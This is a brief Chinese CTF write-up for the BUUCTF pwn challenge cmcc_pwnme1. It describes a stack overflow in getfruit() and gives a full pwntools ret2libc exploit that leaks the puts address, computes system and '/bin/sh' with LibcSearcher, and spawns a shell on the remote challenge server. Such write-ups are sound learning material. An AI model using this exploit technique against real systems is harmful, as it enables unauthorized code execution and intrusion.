cmcc_pwnme1
步骤
- 例行检查,32位程序,没用开启任何保护
- 本地试运行一下,看看大概的情况
- 32位ida载入,检索字符串的时候发现了读出flag的函数
这个flag的位置不清楚对不对,按照buu的习性,应该不对
main()
getfruit(),这边存在栈溢出
- 先试一下那个读出flag的函数,和我想的一样,buu上flag的目录不在那儿
- 因为看到没用开启nx,所以一开始想要使用shellcode,但是碍于没法获得参数v1在栈上的位置,就换用ret2libc的方法了
完整exp
from pwn import *
from LibcSearcher import *
#r=process('./pwnme1')
r=remote('node3.buuoj.cn',25064)
elf=ELF('./pwnme1')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main_addr=elf.sym['main']
#泄露libc
r.recvuntil('Exit')
r.sendline('5')
payload='a'*(0xa4+4)+p32(puts_plt)+p32(main_addr)+p32(puts_got)
r.sendline(payload)
#计算system和bin/sh地址
puts_addr=u32(r.recvuntil('\xf7')[-4:])
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
sys_addr=libc_base+libc.dump('system')
bin_addr=libc_base+libc.dump('str_bin_sh')
r.recvuntil('Exit')
r.sendline('5')
payload='a'*(0xa4+4)+p32(sys_addr)+p32(0)+p32(bin_addr)
r.sendline(payload)
r.interactive()